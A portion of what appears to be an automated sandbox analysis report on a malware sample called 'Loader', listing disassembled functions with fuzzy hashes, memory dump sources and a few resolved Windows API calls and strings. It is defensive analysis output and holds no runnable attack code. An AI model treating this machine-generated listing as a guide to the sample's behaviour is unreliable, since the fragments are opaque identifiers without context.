Instruction Fuzzy Hash: 868125B1B043119BD720DF24DC92B6BB7B0EF95354F44491DE9868B3A0E379E904C75A

Function 00426DB3 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c882f1fa9c6bb4de94787cf49243d5f7c4805548d585898e24f74264a47b48d
Instruction ID: 89763e924d9233c41202dbca0965ada218712063f55dd691c35e4caf33b56213
Opcode Fuzzy Hash: 8c882f1fa9c6bb4de94787cf49243d5f7c4805548d585898e24f74264a47b48d
Instruction Fuzzy Hash: 93A10436A087A1CFD7108F28E85031AB7A2BF86320F5A47ADE5D15B3E2C7349C45CB85

Function 0043B760 Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 624efac6a3804b6eab79f81e28b8f9bb53497747c791c617f289f8768d3433a1
Instruction ID: 2d824d26af575893dcd85a6e635c236e4679d5f5d64a03ff8617996701b172d7
Opcode Fuzzy Hash: 624efac6a3804b6eab79f81e28b8f9bb53497747c791c617f289f8768d3433a1
Instruction Fuzzy Hash: 9171C27560C2558BC319CE29C89072EBBE2EFC9314F18866EE9E54B382D739D801C796

Function 004022C0 Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8459b55ed261b4b53acfcee2c5bef2be4f7a0a0036de86c0c1c6b7617af0dfe6
Instruction ID: 85ba7c76edd6e87758ce8e35cf6a6d57cf89e575b2deccdaa4712d8aeb3ad29e
Opcode Fuzzy Hash: 8459b55ed261b4b53acfcee2c5bef2be4f7a0a0036de86c0c1c6b7617af0dfe6
Instruction Fuzzy Hash: B3716DB09007019BD3149F28ED4970BBAB5FF4172DF14473DE8AA962E1D375DA24CB8A

Function 00416040 Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 70b3f2d3c85860698d213192ea26b03c072d36b4eb5cf2fdbe7e42c0d6ac95ff
Instruction ID: d8113c9b046043b7981bfad1796629711b46293fe7a73aef34f9d1bb366df537
Opcode Fuzzy Hash: 70b3f2d3c85860698d213192ea26b03c072d36b4eb5cf2fdbe7e42c0d6ac95ff
Instruction Fuzzy Hash: 6E51AB78604600AFD724CB18C980A77BBA2EB5A328B55C56DD19747663DB35E882CB18

Function 00437A6B Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 638980f4828226e53c8f43cb65d73610e46036654bc281d6ae5e28e36061b068
Instruction ID: abc68ea3d8c7f8f4d0717a7a5d18772cfcfffcf1ac9f958bd8242077c6f54b18
Opcode Fuzzy Hash: 638980f4828226e53c8f43cb65d73610e46036654bc281d6ae5e28e36061b068
Instruction Fuzzy Hash: EC51F2B524C3059BE320DF69D8C0B2BB7E1EBC9308F15993DE5C587291E7B8D842875A

Function 0041BA54 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0eb5b8fe32be4c3b07c0c6195cdd9bfe1ad17a702da4b46120846afdd925de9
Instruction ID: 825b5af8aaa1b383683c1bf3946cd6b868b73a89040c67c9e97ed2069d3e8edb
Opcode Fuzzy Hash: d0eb5b8fe32be4c3b07c0c6195cdd9bfe1ad17a702da4b46120846afdd925de9
Instruction Fuzzy Hash: C931696060C3D05BD7558B3494A17BB7FD08FA7344FA8685DE0D387383D6598845C7A6

Function 00415415 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20d8b70d1bad769bea0075894b1b8b5f1e709bdeaf7d416f535021e366e4038a
Instruction ID: 1cfd10ec0fb778c3e141e969c7b1d7d0a44a72106ea7a1ca9735cb8f483c7816
Opcode Fuzzy Hash: 20d8b70d1bad769bea0075894b1b8b5f1e709bdeaf7d416f535021e366e4038a
Instruction Fuzzy Hash: A2312238A08200FFE7145F14D8819BFB762EB8672CF94443DE486532A2E73998468B5E

Function 0042C2BA Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 863c9af9cf3949bda01574a14061b0c92e9f36c798455bf7935defed68cffaa7
Instruction ID: 991dbbe3932403a9ab021c874169c4d267201d8098497362b4ca5b6f673701f0
Opcode Fuzzy Hash: 863c9af9cf3949bda01574a14061b0c92e9f36c798455bf7935defed68cffaa7
Instruction Fuzzy Hash: D13145B4B092914BE71CCF3998A073B7BD3ABD3305F38C96DD4D287295EA3884058749

Function 0041BCF8 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd45da81a45b4ccb21ccdb8a5946b47a7132b679f2fddd9be99c3d5d808fa5e0
Instruction ID: 4c1bf169f7b6847ce570ac5d00c82a55edd37aafdb5c40bd943f1bbe5fab632c
Opcode Fuzzy Hash: cd45da81a45b4ccb21ccdb8a5946b47a7132b679f2fddd9be99c3d5d808fa5e0
Instruction Fuzzy Hash: 3D216B74948340ABDB459B74EC42B7B7BE09F67304F10296EF4E1D62E2D6398841871A

Function 0041C061 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45ac426097ddae568b6d6f0be582a3fdeef0e73baefec1c844c37d95172c74b3
Instruction ID: d108f646beb0d19f1636abd8836f483173a08574ddd41b81020023eb29ab46de
Opcode Fuzzy Hash: 45ac426097ddae568b6d6f0be582a3fdeef0e73baefec1c844c37d95172c74b3
Instruction Fuzzy Hash: EC216870548340ABDB458B78EC82B7BBBE0AF67304F10296DF4E1D62E2D6758841C71A

Function 004152B8 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f18cf9494568a8ffe28ee27ae1d52d822e227b1e69a1b6ebc97e92a81629e39
Instruction ID: 5190e0ff00ccbe8d4184449f130c68667ccb33f3ab3f2a7fe900281314903c45
Opcode Fuzzy Hash: 4f18cf9494568a8ffe28ee27ae1d52d822e227b1e69a1b6ebc97e92a81629e39
Instruction Fuzzy Hash: 26216A78908600DBE7185B14D8815FFB361EB97364F54213DC8D753262D77AAC838B5E

Function 00434940 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 1df9c79f6ea7b47aed0b1f040c3407731c6ebdaa0bbe59222c4243ca1f06a822
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: EB11E973A051D44EC3168D3C84006E6BFA30ED7234F19539AF4F89B2D6D6279D8B8359

Function 00429610 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e96cc6d91942757575559b29eb289ba1f39201a72de1d3ed0c479304f377f9c
Instruction ID: 8b06c0a675bebe6acc809cdf221f7fd7ffdb0d3e61cda2a6b49494a926b6778d
Opcode Fuzzy Hash: 5e96cc6d91942757575559b29eb289ba1f39201a72de1d3ed0c479304f377f9c
Instruction Fuzzy Hash: F70175F1B0031247DB209E55A4C1727B2E9AF91708F58453ED4099B342EB79FC15C69D

Function 0041C5DE Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c8f9c50519bc8e997d0e6ec327ccb123a447b16039d7c2fc80a974eafd7af67
Instruction ID: 7f54897619ce99c1decc585b1ae6643afbe93cef710ec5d01a08bcd888c8809d
Opcode Fuzzy Hash: 7c8f9c50519bc8e997d0e6ec327ccb123a447b16039d7c2fc80a974eafd7af67
Instruction Fuzzy Hash: BAF0462494D2D18AD3058B398490737BFD18BD3250F1865ADE4C1E73C2C65CC84787AA

Function 00402BA0 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01f337f5fc58e823ae988b64f3c917c82cd7dd476cb1950829af05d91b390d14
Instruction ID: 68ee7fb54af6abdc5e805c6bbba856930a941b06853c1a73215de8391e0df626
Opcode Fuzzy Hash: 01f337f5fc58e823ae988b64f3c917c82cd7dd476cb1950829af05d91b390d14
Instruction Fuzzy Hash: 23F0503772421607D310DD7DEDC4537F3A6E7C5204B19403DE940E3380C875F805A1A8

Function 0041C653 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a15be82605190338e54c53358d3c1d39f9f4a54b9924dccb8ff2242ffb0a2b30
Instruction ID: c333639d60756fc305cdb18e926c9815f4dc676b5dfd5352cfe17995eaa9baad
Opcode Fuzzy Hash: a15be82605190338e54c53358d3c1d39f9f4a54b9924dccb8ff2242ffb0a2b30
Instruction Fuzzy Hash: 64F0E960A4E3D14AE7054A39545077BBFD24BD3240F18659DF4C19B3C6C55DC847922B

Function 0043C36F Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7cfaaa316629b702daa8fdb1378e62c9231c9e274a55be684e58b5c78f7cd90
Instruction ID: 537b329dfd063a598924d90fdfe7ad94f641663cb21e3e908ec1a2fc63290f90
Opcode Fuzzy Hash: e7cfaaa316629b702daa8fdb1378e62c9231c9e274a55be684e58b5c78f7cd90
Instruction Fuzzy Hash: C0F08C7A65A6408FC348DB39ACA453BB6E0AB4A250F95A87DA0D3E3650D638C401CE0A

Function 0041C066 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee21b32c18e195838c4b12e9e3239409630268e6a1b0411bbd7641974bc08852
Instruction ID: 53a1a7e5e8febca9c2738e5e37cb790e6b2132d3876faf512b1b05e9b277e40c
Opcode Fuzzy Hash: ee21b32c18e195838c4b12e9e3239409630268e6a1b0411bbd7641974bc08852
Instruction Fuzzy Hash: 7AD05EF86441018FC704CF54EC915367378AB57308F10603AE922C7221C230D4119B0D

Function 002A1D60 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 161libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 002A1DA0
GetFileSize.KERNEL32 ref: 002A1E28
CloseHandle.KERNEL32 ref: 002A1E44

Strings

0*+, xrefs: 002A1DB8
.bss, xrefs: 002A1F4D
CreateFileA, xrefs: 002A1D93

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: AddressCloseFileHandleProcSize
String ID: .bss$0*+$CreateFileA
API String ID: 2836222988-1726942684
Opcode ID: 0d2fccd01840c9be2537270730223f92c68378e9c0c4bcabbab06c3e47172f57
Instruction ID: f306439cce8e6f0c5ba791ae0bc4a9148705a010d98be24bbabee87634da760a
Opcode Fuzzy Hash: 0d2fccd01840c9be2537270730223f92c68378e9c0c4bcabbab06c3e47172f57
Instruction Fuzzy Hash: 4371BFB4D14249CFDB00DFA8D588BAEBBF0BF49314F108429E855AB350D774A969CF52

Function 002B7730 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 132COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 002B7767
___except_validate_context_record.LIBVCRUNTIME ref: 002B776F
_ValidateLocalCookies.LIBCMT ref: 002B77F8
__IsNonwritableInCurrentImage.LIBCMT ref: 002B7823
_ValidateLocalCookies.LIBCMT ref: 002B7878

Strings

0*+, xrefs: 002B783C, 002B789E
csm, xrefs: 002B780D
pp+, xrefs: 002B7815, 002B781E, 002B782F

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: 0*+$csm$pp+
API String ID: 1170836740-448466302
Opcode ID: 81285870085de87508057a5d377aa5175ff2c300b8503c098a9748c7e7f28b87
Instruction ID: e0d49c20d64b8229da9acb560bbcb5c68309a7b7002a6ae808b4b3200ebb5a3d
Opcode Fuzzy Hash: 81285870085de87508057a5d377aa5175ff2c300b8503c098a9748c7e7f28b87
Instruction Fuzzy Hash: CE41F334E242199BCF10DF68C889ADEBBA5AF84354F148165E8145B392CB71EE25CF91

Function 002D24F2 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,7FFFFFFF,?,002D24DD,?,?,?,?,?,?,?,?,?,?), ref: 002D2598
__alloca_probe_16.LIBCMT ref: 002D2653
__alloca_probe_16.LIBCMT ref: 002D26E2
__freea.LIBCMT ref: 002D272D
__freea.LIBCMT ref: 002D2733
__freea.LIBCMT ref: 002D2769
__freea.LIBCMT ref: 002D276F
__freea.LIBCMT ref: 002D277F

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: ef9b16ad8e623c857c09cb07fd03c3157539e4cf8b8c7676f758123910ba53a7
Instruction ID: 357007e831eaabdfeef1df6828222de11fd713133e563938b13ad40436c9c23d
Opcode Fuzzy Hash: ef9b16ad8e623c857c09cb07fd03c3157539e4cf8b8c7676f758123910ba53a7
Instruction Fuzzy Hash: 44710972D20206DBEF319E648C91FEEB7A9DF65310F14015BEC14A7381DA75DC688BA0

Function 002C5156 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 002C51DC

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 51e6ba9edb6fa758acba511f911d2998b9b0e2e81ebecee1fdc350593847a06f
Instruction ID: 960306a9def21ac69925152e3509815427c3ee6eb79e977470d543b7e1003761
Opcode Fuzzy Hash: 51e6ba9edb6fa758acba511f911d2998b9b0e2e81ebecee1fdc350593847a06f
Instruction Fuzzy Hash: 7DB18C72920A769FDB158F24CC41FAE7BE5EF15340F14435DE904AB282D2B4F9A1CBA0

Function 002C31E2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,00000000,?,BB40E64E,?,002C32F1,00000000,00000000,00000000,00000000), ref: 002C32A3

Strings

ext-ms-, xrefs: 002C324D
api-ms-, xrefs: 002C3239

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 2503fe27a4291bbb70ca70118ab424eff6ce6cfc97399885e4fe279cb8f02e19
Instruction ID: 183e748655444b38fe17f810afcff31fed1cb94187e26b8f9f0295e8f87f44a4
Opcode Fuzzy Hash: 2503fe27a4291bbb70ca70118ab424eff6ce6cfc97399885e4fe279cb8f02e19
Instruction Fuzzy Hash: 3B212B31A51255ABDF21DF25EC88F5E7768EF02760F144B28ED15AB290D770EE20C6D1

Function 002B3122 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 002B3129
std::_Lockit::_Lockit.LIBCPMT ref: 002B3134
std::_Lockit::~_Lockit.LIBCPMT ref: 002B31A2

Part of subcall function 002B302A: std::locale::_Locimp::_Locimp.LIBCPMT ref: 002B3042

std::locale::_Setgloballocale.LIBCPMT ref: 002B314F
_Yarn.LIBCPMT ref: 002B3165

Strings

0*+, xrefs: 002B3171, 002B3195

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID: 0*+
API String ID: 1088826258-419236330
Opcode ID: 2524330b47e9b8b9e9a887726a58588bc07c8b9b02871872aeba6996ba877244
Instruction ID: 495b9ae747b9c689961cfaacbca3d47534ee98a070126b07f6a86fba48795dd7
Opcode Fuzzy Hash: 2524330b47e9b8b9e9a887726a58588bc07c8b9b02871872aeba6996ba877244
Instruction Fuzzy Hash: D501BC31A60251DBCB06EF24E8895BC77B5FF94390B140049E8121B381CF386E66CB81

Function 002BBD78 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,00000000,002D2EA9,000000FF,?,002BBE39,002BBD20,?,002BBED5,00000000), ref: 002BBDAD
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 002BBDBF
FreeLibrary.KERNEL32(00000000,?,?,00000000,002D2EA9,000000FF,?,002BBE39,002BBD20,?,002BBED5,00000000), ref: 002BBDE1

Strings

0*+, xrefs: 002BBDD0
CorExitProcess, xrefs: 002BBDB7
mscoree.dll, xrefs: 002BBDA6

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: 0*+$CorExitProcess$mscoree.dll
API String ID: 4061214504-681192781
Opcode ID: 6eeb4a0a0bcb01d8e98071a13463797d2f49d0dcdfd8cfad000a0ba0abd35182
Instruction ID: a441587c1e550c601248271dafc6c5570d384cdb6844b81f6bec1615d2b62caa
Opcode Fuzzy Hash: 6eeb4a0a0bcb01d8e98071a13463797d2f49d0dcdfd8cfad000a0ba0abd35182
Instruction Fuzzy Hash: 4B01A731AA4656EFDB129F54DC49FEEB7B8FB05B51F000126E811A6690DBB49C10CA40

Function 002B6A60 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 002B6A66
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 002B6A74
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 002B6A85

Strings

kernel32.dll, xrefs: 002B6A61
GetSystemTimePreciseAsFileTime, xrefs: 002B6A6E
GetTempPath2W, xrefs: 002B6A7A

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: 64aa3bf94088d2146a407e543d241479ac0af04c2fc595ac06ababee9721af57
Instruction ID: 309ad000c46263ebd0f7f6ec5ed1f895067efd37c55d5d080c0e25c54c8b3bd6
Opcode Fuzzy Hash: 64aa3bf94088d2146a407e543d241479ac0af04c2fc595ac06ababee9721af57
Instruction Fuzzy Hash: 93D0C7355E12505FE710EFB07D4D8D53BD5EA0AB113068577F445DA350EBB409258B91

Function 002D095C Relevance: 9.3, APIs: 6, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40582c8549e7edb4810c43818b83db180bd04dadb35d007d7e811cb37e7309a6
Instruction ID: 06f34bb924b0074be346da55ebb07338287e056f71b68489547374eaac90becc
Opcode Fuzzy Hash: 40582c8549e7edb4810c43818b83db180bd04dadb35d007d7e811cb37e7309a6
Instruction Fuzzy Hash: D5B10270E2424AAFDB11DF98D8C1BAD7BB0AF45304F14425BE904AB3A2D7709D61CF65

